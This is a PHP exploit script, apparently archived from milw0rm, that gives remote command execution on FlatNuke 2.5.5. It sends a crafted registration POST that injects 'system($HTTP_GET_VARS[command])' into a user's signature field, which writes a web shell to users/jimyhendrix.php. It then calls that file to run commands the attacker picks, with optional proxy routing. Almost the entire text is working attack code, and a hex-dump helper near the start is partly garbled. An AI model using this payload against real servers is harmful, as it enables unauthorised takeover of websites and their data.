FlatNuke 2.5.5 remote commands execution

FlatNuke 2.5.5 (possibly prior versions) remote commands execution

a script by rgod at http://rgod.altervista.org

'; function show($headeri) { $ii=0; $ji=0; $ki=0; $ci=0; echo ''; while ($ii <= strlen($headeri)-1) { $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo ""; for ($li=0; $li<=15; $li++) { echo ""; } $ki=$ki+16; echo ""; } if (strlen($datai)==1) {echo "";} else {echo " ";} $ii++; $ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo ""; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo ""; } echo "

	".$headeri[$li+$ki]."
0".$datai."	".$datai."		".$headeri[$li]."

"; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; if (($path<>'') and ($host<>'') and ($command<>'')) { if ($port=='') {$port=80;} $data="op=reg&nome=jimyhendrix®pass=jimihendrix&reregpass=jimihendrix&anag=jimihendrix&email=jimihendrix@email.com&homep=".urlencode('http://www.asite.com')."&prof=artist&prov=whereimfrom&ava=clanbomber.png&url_avatar=&firma=".chr(13).urlencode('system($HTTP_GET_VARS[command]);'); if ($proxy=='') {$packet="POST ".$path."index.php HTTP/1.1\r\n";} else { $c = preg_match_all($proxy_regex,$proxy,$is_proxy); if ($c==0) { echo 'check the proxy...
'; die; } else {$packet="POST http://".$host.$path."index.php HTTP/1.1\r\n";} } $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n"; $packet.="Referer: http://".$host.":".$port.$path."index.php?op=vis_reg\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Keep-Alive\r\n"; $packet.="Cache-Control: no-cache\r\n\r\n"; $packet.=$data; show($packet); if ($proxy=='') {$fp=fsockopen(gethostbyname($host),$port);} else {$parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $fp=fsockopen($parts[0],$parts[1]); if (!$fp) { echo 'No response from proxy...'; die; } } fputs($fp,$packet); $data=''; while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data))) { $data.=fread($fp,1); } fclose($fp); echo nl2br(htmlentities($data)); if ($proxy=='') {$packet="GET ".$path."users/jimyhendrix.php?command=".urlencode($command)." HTTP/1.1\r\n";} else { $c = preg_match_all($proxy_regex,$proxy,$is_proxy); if ($c==0) { echo 'check the proxy...
'; die; } else {$packet="GET http://".$host.$path."users/jimyhendrix.php?command=".urlencode($command)." HTTP/1.1\r\n";} } $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n"; $packet.="Accept-Encoding: text/plain\r\n"; $packet.="Host: ".$host."\r\n\r\n"; $packet.="Connection: Close\r\n\r\n"; show($packet); if ($proxy=='') {$fp=fsockopen(gethostbyname($host),$port);} else {$parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
'; $fp=fsockopen($parts[0],$parts[1]); if (!$fp) { echo 'No response from proxy...'; die; } } fputs($fp,$packet); $data=''; if ($proxy=='') { $data=''; while (!feof($fp)) { $data.=fgets($fp); } } else { $data=''; while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data))) { $data.=fread($fp,1); } } fclose($fp); if (eregi('HTTP/1.1 200 OK',$data)) {echo 'Exploit sent...
If Flatnuke is unpatched and vulnerable
'; echo 'you will see '.htmlentities($command).' output inside HTML...

'; } else {echo 'Error, see output...';} echo nl2br(htmlentities($data)); } ?> # milw0rm.com [2005-08-08]